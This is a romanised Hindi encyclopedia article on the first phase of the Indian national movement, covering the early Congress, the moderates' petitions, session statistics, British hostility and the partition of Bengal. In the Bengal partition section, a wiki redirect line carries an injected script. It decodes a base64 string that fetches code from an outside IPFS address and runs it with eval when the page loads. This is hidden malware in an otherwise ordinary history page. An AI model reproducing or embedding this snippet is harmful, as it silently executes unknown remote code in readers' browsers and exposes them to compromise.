भारतीय राष्ट्रीय आन्दोलन (प्रथम चरण)
bharatiy rashtriy andolan (pratham charan)
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| vivaran | bharatiy rashtriy andolan, bharat ki azadi ke lie sabase lambe samay tak chalane vala ek pramukh rashtriy andolan tha. |
| shuruat | 1885 ee. mean kaangres ki sthapana ke sath hi is aandolan ki shuruat huee, jo kuchh utar-chadhavoan ke sath 15 agast, 1947 ee. tak anavarat roop se jari raha. |
| pramukh sangathan evan parti | garam dal, naram dal, gadar parti, azad hiand fauj, bharatiy rashtriy kaangres, iandiyan homarool lig, muslim lig |
| any pramukh aandolan | asahayog aandolan, bharat chho do andolan, savinay avajna andolan, svadeshi andolan, namak satyagrah |
| parinam | bharat svatantr rashtr ghoshit hua. |
| sanbandhit lekh | gaandhi yug, r aaulet ekt, thiyos aauphikal sosayati, varnakyoolar pres ekt, indiyan kauansil ekt, hartog samiti, hantar samiti, batalar samiti riport, neharoo samiti, golamez sammelan |
| any janakari | bharat ke rashtriy andolan ko tin bhagoan mean baanta ja sakata hai- |
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- andolan ka pratham charan (1885-1905)
bharatiy rashtriy andolan ke is kal mean bharatiy rashtriy kaangres ki sthapana huee. lekin is samay tak kaangres ka lakshy poori tarah se aspast hi tha. us samay is andolan ka pratinidhitv alp shikshit, buddhijivi madhyam vargiy logoan ke dvara kiya ja raha tha. yah varg pashchim ki udaravadi evan ativadi vichar dhara se kafi prabhavit tha.
udaravadi rashtriyata ka yug
1885 ee. mean bharatiy rashtriy kaangres ki sthapana ke sath hi is par udaravadi rashtriy netaoan ka varchasv sthapit ho gaya. tatkalin udaravadi rashtravadi netaoan mean pramukh the- dadabhaee nauroji, mahadev govind ranade, firojashah mehata, surendranath banarji, dinasha vacha, vyomesh chanhdr banarji, gopal krishna gokhale, madan mohan malaviy adi. kaangres ki sthapana ke arambhik 20 varsho mean usaki niti atyant hi udar thi, isalie is kal ko kaangres ke itihas mean 'udaravadi rashtriyata ka kal' mana jata hai. kaangres ke sansthapak sadasy bharatiyoan ke lie dharm aur jati ke pakshapat ka abhav, manav mean samanata, qanoon ke samaksh samanata, nagarik svatantrataoan ka prasar aur pratinidhi sansthoan ke vikas ki kamana karate the. udaravadi netaoan ka manana tha ki sanvaidhanik tarike apana kar hi ham desh ko azad kara sakate hai.
kaangres ki maangean
is samay kaangres par samriddhashali, madhyamavargiy, buddhijiviyoan, jinamean vakil, d aauktar, ianjiniyar, patrakar evan sahityakar sammilit the, ka prabhav tha. udaravadi netaoan ko aangrezoan ki nyayapriyata mean poorn nishtha thi aur ye aangrezoan ko apana shatru nahian mitr manate the. ye neta prarthana patroan, prativedoan, smaran patroan evan shisht mandaloan ke dvara sarakar ke samane apani maangoan ko rakhate the. is kal mean kaangres ne desh ki svatantrata ki nahian, apitu kuchh riyayatoan ki maang ki. kaangres ki pramukh maange nimnalikhit thian-
- vidhan parishadoan ka vistar kiya jae.
- pariksha ki nyoonatam ayu mean vriddhi ki jae.
- pariksha ka bharat aur ianglaind mean ka ayojan ho.
- adhik bharti nikali jaean.
- vayasaray tatha gavarnar ki karyakarani mean bharatiyoan ko adhik pratinidhitv diya jae.
ye sabhi maange hin se hin shabdoan mean yachana ke roop mean sanvaidhanik dhangoan se prastut ki jati thian. inake isi lachilepan evan sanchat vyavahar ke karan hi lokamany tilak jaise ugrapanthi netaoan ne ise 'rajanitik bhikshavriti' ki sanjna di thi.
kaangres ki lokapriyata
kaangres ki lokapriyata dhire-dhire kafi badh gee thi. pahale is sanstha ka pratinidhitv bauddhik varg ke log hi karate the, lekin kalantar mean yah sanstha jan sadharan ki sanstha ban bee. apani lokapriyata ke karan hi is sanstha ne tatkalin sansthaoan mean sarvadhik b di rajanitik sanstha ka akar grahan kar liya. prativarsh hone vale adhiveshanoan mean pratinidhiyoan ki sankhya mean abhootapoorv vriddhi hone lagi.
| varsh | sthan | sadasy sankhya | adhyaksh |
|---|---|---|---|
| 1885 ee. | bambee | 72 | vyomesh chanhdr banarji |
| 1886 ee. | kalakatta | 434 | dadabhaee nauroji |
| 1887 ee. | madras | 607 | badaruddin taiyab ji |
| 1888 ee. | ilahabad | 1248 | j aaurj yool |
| 1889 ee. | bambee | 1880 | viliyam vedarabarn |
sarakar ka drishtikon
kaangres ke prati sarakar ka arambhik drishtikon udaravadi tha, parantu jaise-jaise kaangres ki sthiti mazaboot hone lagi, usane maangoan ko sarakar ke samane adhik mazabooti se rakhana arambh kar diya, jisaka parinam yah hua ki sarakar kaangres ki alochana karane lagi. 1887 ee. ke pashchath to kaangres ke prati sarakar ka rukh aur adhik kathor ho gaya.
l aaurd dafarin, jisane kaangres ki sthapana mean sahayog kiya tha, usane isaki alochana karate hue kaha ki "mujhe usaka bharatiy janata ke pratinidhitv ka dava bebuniyad lagata hai. kaangres to ek aise nagany alpamat ka pratinidhitv karati hai, jisako ek shanadar aur vibhinn roopoan vale samrajay ke shasan ki bagador hargij nahian di jati sakati." is bare mean aangrezi samachar ne likha ki "yah to chhipe vesh mean ek aisi rajadrohi sanstha hai, jise n to janata ka pratinidhitv prapt hai aur n hi jisaka koee mooly hai." british bharat ki sarakar ne muslimoan ko kaangres se alag karane ke lie unamean virodh ki bhavana ko bharana shuroo kiya aur usake in prayasoan ko kafi saphalata tab mili, jab 1888 ee. mean sar saiyyad ahamad khaan aur banaras ke shivaprasad ne sarakar ki prerana mean kaangres ke pratirodh ke lie 'yoonaited iandiyan paitriyatik esosiyeshan' ki sthapana ki.
kaangres ke prati vichar
1890 ee. mean sarakari sevakoan ko kaangres mean sammilit hone ki ajna nahian rahi. l aaurd karzan ne to yahaan tak kah diya ki "kaangres apane patan ki or l dakh dati ja rahi haian." karzan ki mahatvakaankshaoan mean ek yah bhi thi ki "vah usaki shantimay mrityu mean sahayata kar sake." vah 'phoot dalo raj karo' ki niti ka palan karane lagi. sarakar ko kaangres ke daman mean isalie saphalata nahian mili, kyoanki is sanstha ko vishal bharatiy madhyam varg ka sahayog prapt tha. d aau. ar.si. majoomadar ke anusar 'british sarakar tatha naukarashahi ke kaangres virodhi shadyantr apane uddeshy poorti mean isalie saphal nahian hue, kyoanki ve vah bat janane mean asamarth rahe ki kaangres ki shakti ka mool adhar madhyam varg hai, dhani dani log nahian.' karzan ne kaangres ko 'gandi chiz aur desh drohi sangathan' kaha hai. bankimachandr chatarji ne kaha ki kaangres ke log padoan ke bhookhe haian. lokamany tilak ne kaha hai ki 'yadi ham varsh mean ek bar medhak ki tarah tarrayean to hamean kuchh bhi nahian milega.' lala lajapat ray ne kaangres sammelanoan ko 'shikshit bharatiyoan ka varshik rashtriy mela' ki sanjna di. ashvini kumar datt ne kaangres ke sammelanoan ko 'tin dinoan ka tamasha' kaha. vipinachandr pal ne ise 'yachana sanstha' ki sanjna pradan ki.
ianglaind mean prachar
e.o. hyoom, dadabhaee nauroji evan veandarabarn adi netaoan ka manana tha ki 'bharatiy rashtriy kaangres' ka ianglaind se adhik prachar kiya ja sakata hai. 1887 ee. mean dadabhaee nauroji ne ianglaind mean 'bharatiy sudhar samiti' ki sthapana ki. 1888 ee. mean nauroji ne viliyam digbi ki adhyakshata mean 'indiyan lig' ki sthapana ki. 1889 ee. ke kaangres ki 'british samiti' bani, jisane 'indiya' nam ki ek masik patrika ka prakashan kiya. isake madhyam se ianglaind ke nagarikoan ko bharat ki yatha-sthiti se parichit karaya jata tha. kaangres ne bharatiyoan ki samasya ke nivaran hetu samay-samay par apane pratinidhimandal ko briten bheja. 1890 ee. mean kaangres ki or se ianglaind bheje gaye pratinidhi mandal mean surendranath banarji, vyomesh chanhdr banarji, e. o. hyoom sammilit the. 1899 ee. mean vipinachandr pal ianglaind gaye. in samasy prayasoan ka pratiphal yah raha ki ianglaind mean bharatiy janamanas ki samasyaoan ke prati sahanubhooti rakhane vale ek gut ka nirman hua.
bahut-se alochakoan ne udaravadi rashtriy netaoan ki upalabdhiyoan ki alochana ki hai. ugravadiyoan ne udaravadiyoan ki avedan-nivedan ki niti ko 'bhiksha maangane' ki niti kahakar usaki khilli u dayi. is sambandh mean lala lajapat ray ne likha ki '20 varshoan tak riyayatoan aur duahkhoan ko door karane ke asaphal sangharsh ke pashchath inhean roti ke badale patthar prapt hue.' is bat mean sandeh nahian ki unaki tatkalik upalabdhiyaan nagany thian aur 19vian sadi ke british shasan ki badalati huee prakriti ke karan unaki kee rajanitik dharanayean galat sabit huee, lekin jin paristhitiyoan mean unhoanne yah kathin kary apane hathoan mean liya or jo kathinaiyaan unake sammukh aeean, unako dekhate hue unaki upalabdhiyoan ki upeksha nahian ki ja sakati. ye madhyam varg tatha nimn madhyam varg mean rashtriy ekata ka bhav jagrit karane mean saphal rahe. unhoanne ek samany shatru se bharatiyoan ko parichit karaya aur ek sashakt arthik samiksha prastut kar yah siddh kar diya ki garibi, bekari aur arthik pichh dapan aangrezoan ke hi karan hai.
velbi kamishan ki niyukti
yadi dadabhaee nauroji, sar firojashah mehata, sar dinasha vacha, gopal krishna gokhale, surendranath banarji ke sath nyay karean to yah svikar karana p dega ki ye log samakalin bharatiy samaj ke sabase adhik pragativadi tatv or sachche deshabhakt the. in logoan ne 1886 ee. mean ek lok seva ayog niyukt karavaya tatha 1862 ee. mean bharatiy parishadoan ka adhiniyam parit karavaya. sarakar ne unake anurodh par bharatiy vyay samiksha ke lie 1896 ee. mean 'velbi kamishan' bhi niyukt kiya.
bangal vibhajan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vibhajan ke samay bangal ki kul janasankhya 7 karo d, 85 lakh thi tatha is samay bangal mean bihar, u disa evan bangaladesh shamil the. bangal presidensi us samay sabhi presidensiyoan mean sabase b di thi. 1874 ee. me asam bangal se alag ho gaya. ek lephtineant garvanar itane b de praant ko kushal prashasan de pane mean asamarth tha. tatkalin gavarnar-janaral l aaurd karzan ne prashasanik asuvidha ko bangal vibhajan ka karan bataya, kintu vastavik karan prashasanik nahian apitu rajanitik tha. karzan ke 'bangal vibhajan' ke virodh mean svadeshi evan bahishkar aandolan ka sootrapat kiya gaya. bangal us samay bharatiy rashtriy chetana ka kendr biandu tha aur sath hi bangaliyoan mean prabal rajanitik jagriti thi, jise kuchalane ke lie karzan ne bangal ko baantana chaha. usane bangali bhashi hinduoan ko donoan bhagoan mean alpasankhya mean karana chaha.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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